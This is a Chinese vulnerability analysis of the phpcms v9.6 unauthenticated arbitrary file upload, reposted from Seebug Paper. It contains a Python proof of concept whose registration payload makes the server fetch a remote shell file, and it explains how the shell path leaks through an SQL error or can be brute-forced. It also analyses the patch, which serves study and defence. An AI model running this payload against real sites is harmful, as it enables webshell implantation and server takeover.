2017-04-13 10:00:22
来源:Paper 阅读:383次
点赞(0)
收藏
Author: p0wd3r (知道创宇404安全实验室)
0x00 漏洞概述
漏洞简介
前几天 phpcms v9.6 的任意文件上传的漏洞引起了安全圈热议,通过该漏洞攻击者可以在未授权的情况下任意文件上传,影响不容小觑。phpcms官方今天发布了9.6.1版本,对漏洞进行了补丁修复。
漏洞影响
任意文件上传
0x01 漏洞复现
本文从 PoC 的角度出发,逆向的还原漏洞过程,若有哪些错误的地方,还望大家多多指教。
首先我们看简化的 PoC :
importre importrequests defpoc(url): u='{}/index.php?m=member&c=index&a=register&siteid=1'.format(url) data={ 'siteid':'1', 'modelid':'1', 'username':'test', 'password':'testxx', 'email':'test@test.com', 'info[content]':'<imgsrc=http://url/shell.txt?.php#.jpg>', 'dosubmit':'1', } rep=requests.post(u,data=data) shell='' re_result=re.findall(r'<imgsrc=(.*)>',rep.content) iflen(re_result): shell=re_result[0] printshell可以看到 PoC 是发起注册请求,对应的是phpcms/modules/member/index.php中的register函数,所以我们在那里下断点,接着使用 PoC 并开启动态调试,在获取一些信息之后,函数走到了如下位置:
通过 PoC 不难看出我们的 payload 在$_POST['info']里,而这里对$_POST['info']进行了处理,所以我们有必要跟进。
在使用new_html_special_chars对<>进行编码之后,进入$member_input->get函数,该函数位于caches/caches_model/caches_data/member_input.class.php中,接下来函数走到如下位置:
由于我们的 payload 是info[content],所以调用的是editor函数,同样在这个文件中:
接下来函数执行$this->attachment->download函数进行下载,我们继续跟进,在phpcms/libs/classes/attachment.class.php中:
functiondownload($field,$value,$watermark='0',$ext='gif|jpg|jpeg|bmp|png',$absurl='',$basehref='') { global$image_d; $this->att_db=pc_base::load_model('attachment_model'); $upload_url=pc_base::load_config('system','upload_url'); $this->field=$field; $dir=date('Y/md/'); $uploadpath=$upload_url.$dir; $uploaddir=$this->upload_root.$dir; $string=new_stripslashes($value); if(!preg_match_all("/(href|src)=([\"|']?)([^\"'>]+\.($ext))\\2/i",$string,$matches))return$value; $remotefileurls=array(); foreach($matches[3]as$matche) { if(strpos($matche,'://')===false)continue; dir_create($uploaddir); $remotefileurls[$matche]=$this->fillurl($matche,$absurl,$basehref); } unset($matches,$string); $remotefileurls=array_unique($remotefileurls); $oldpath=$newpath=array(); foreach($remotefileurlsas$k=>$file){ if(strpos($file,'://')===false||strpos($file,$upload_url)!==false)continue; $filename=fileext($file); $file_name=basename($file); $filename=$this->getname($filename); $newfile=$uploaddir.$filename; $upload_func=$this->upload_func; if($upload_func($file,$newfile)){ $oldpath[]=$k; $GLOBALS['downloadfiles'][]=$newpath[]=$uploadpath.$filename; @chmod($newfile,0777); $fileext=fileext($filename); if($watermark){ watermark($newfile,$newfile,$this->siteid); } $filepath=$dir.$filename; $downloadedfile=array('filename'=>$filename,'filepath'=>$filepath,'filesize'=>filesize($newfile),'fileext'=>$fileext); $aid=$this->add($downloadedfile); $this->downloadedfiles[$aid]=$filepath; } } returnstr_replace($oldpath,$newpath,$value); }函数中先对$value中的引号进行了转义,然后使用正则匹配:
$ext='gif|jpg|jpeg|bmp|png'; ... $string=new_stripslashes($value); if(!preg_match_all("/(href|src)=([\"|']?)([^\"'>]+\.($ext))\\2/i",$string,$matches))return$value;这里正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),我们的 payload (<img src=http://url/shell.txt?.php#.jpg>)符合这一格式(这也就是为什么后面要加.jpg的原因)。
接下来程序使用这行代码来去除 url 中的锚点:$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);,处理过后$remotefileurls的内容如下:可以看到#.jpg被删除了,正因如此,下面的$filename = fileext($file);取的的后缀变成了php,这也就是 PoC 中为什么要加#的原因:把前面为了满足正则而构造的.jpg过滤掉,使程序获得我们真正想要的php文件后缀。
我们继续执行:
程序调用copy函数,对远程的文件进行了下载,此时我们从命令行中可以看到文件已经写入了:
shell 已经写入,下面我们就来看看如何获取 shell 的路径,程序在下载之后回到了register函数中:
可以看到当$status > 0时会执行 SQL 语句进行 INSERT 操作,具体执行的语句如下:
也就是向v9_member_detail的content和userid两列插入数据,我们看一下该表的结构:
因为表中并没有content列,所以产生报错,从而将插入数据中的 shell 路径返回给了我们:
上面我们说过返回路径是在$status > 0时才可以,下面我们来看看什么时候$status <= 0,在phpcms/modules/member/classes/client.class.php中:
几个小于0的状态码都是因为用户名和邮箱,所以在 payload 中用户名和邮箱要尽量随机。
另外在 phpsso 没有配置好的时候$status的值为空,也同样不能得到路径。
在无法得到路径的情况下我们只能爆破了,爆破可以根据文件名生成的方法来爆破:
仅仅是时间加上三位随机数,爆破起来还是相对容易些的。
0x02 补丁分析
phpcms 今天发布了9.6.1版本,针对该漏洞的具体补丁如下:
在获取文件扩展名后再对扩展名进行检测
0x03 参考
https://www.seebug.org/vuldb/ssvid-92930
[漏洞预警]PHPCMSv9前台GetShell (2017/04/09)本文转载自 Paper
原文链接:http://paper.seebug.org/273/